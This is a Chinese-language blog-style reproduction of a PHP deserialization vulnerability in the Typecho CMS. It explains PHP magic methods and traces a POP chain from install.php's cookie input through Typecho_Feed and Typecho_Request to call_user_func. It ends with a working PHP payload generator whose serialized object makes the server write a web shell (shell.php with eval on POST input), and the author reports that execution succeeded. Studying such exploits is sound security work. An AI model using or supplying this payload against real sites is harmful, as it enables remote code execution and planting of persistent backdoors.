Typecho反序列化漏洞复现分析

首先还是函数介绍
https://www.php.net/manual/zh/language.oop5.magic.php
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串，否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

Warning
不能在 __toString() 方法中抛出异常。这么做会导致致命错误。

Example #2 简单示例

<?php
// Declare a simple class
class TestClass
{
    public $foo;

    public function __construct($foo) 
    {
        $this->foo = $foo;
    }

    public function __toString() {
        return $this->foo;
    }
}

$class = new TestClass('Hello');
echo $class;
?>
$a && $b	And（逻辑与）	TRUE，如果 $a 和 $b 都为 TRUE
_get()
这里有个php反序列化的知识点，当我们试图去访问一个对象的不存在或者私有属性的时候会触发__get魔法方法。所以这里如果我们的$item['author']是一个对象，且该对象没有screenName属性，那么我们就可以利用__get方法,那么思路又清晰了，全局搜索__get方法。

php switch case
https://www.w3school.com.cn/php/php_switch.asp
好的逻辑我们清晰了 
接下来call_user_function的值都能被我们控制 从而造成了rce

 首先我们来看install.php

 看到反序列化入口 这里将Typecho_cookie::get()方法的值base64解了在反序列化回来 赋值给$config

这里我们跟进get方法发现_typercho_config是可控的

$type=$config数组里面的adapter的值

两个函数的介绍

array_pop() 函数删除数组中的最后一个元素。
<?php
$a=array("red","green","blue");
array_pop($a);
print_r($a);
?>
Array ( [0] => red [1] => green ) 
<?php
$str = "Hello world. I love Shanghai!";
print_r (explode(" ",$str));
?>

Array ( [0] => Hello [1] => world. [2] => I [3] => love [4] => Shanghai! )

 这里我们继续跟进看到

 $config素组的元素被当作Typecho_Db类里面的值调用了也就是

我们输入-》反序列化后——》传入对象

 我们进一步跟进这个类里面 这个变量我们可控

 那么在这里触发_toString方法全局搜索看利用的_toString方法 这里有很多判断我们主要看这个

 这里$item['author']->screenName又可以触发_get()方法 那么我们继续全局跟进_get()

 然后跟进get()方法

 从而打到call_user_func两个参数都可以被我们控制

好的接下来我们构造一下pop链

在class Typecho_Request{里面我们要达到$filter和$value可控）
就必须让_params[screename]的值等于我们后面的值
fieter在我们类里面调用的三个方法里面未经过处理 所以我们可以直接定义 但是这里他必须为数组
因此在此类里面 我们需要构造
private $_params[screename]='phpinfo()';
private $filter='eval';

然后再

class Typecho_Feed这个类里面我们继续分析

 

 所以this_type=

_items['author']=class Typecho_Request这个对象才能触发_toSring方法

 构造payload 但是无回显

<?php
class Typecho_Request{
    private $_params= array('screenName'=> "file_put_contents('shell.php', '<?php eval($_POST[z]);//?>')");
    private $_filter= array('assert');
}
class Typecho_Feed{
    private $_items=array();
    private $_type='ATOM 1.0';
    public function __construct()
    {
        $items['author']=new Typecho_Request();
        $this->_items[0]=$items;

    }

}
$my=array('adapter'=>new Typecho_Feed(),'prefix'=>'typecho');
$a=base64_encode(serialize($my));
echo $a;
?>

 但是命令确实执行了的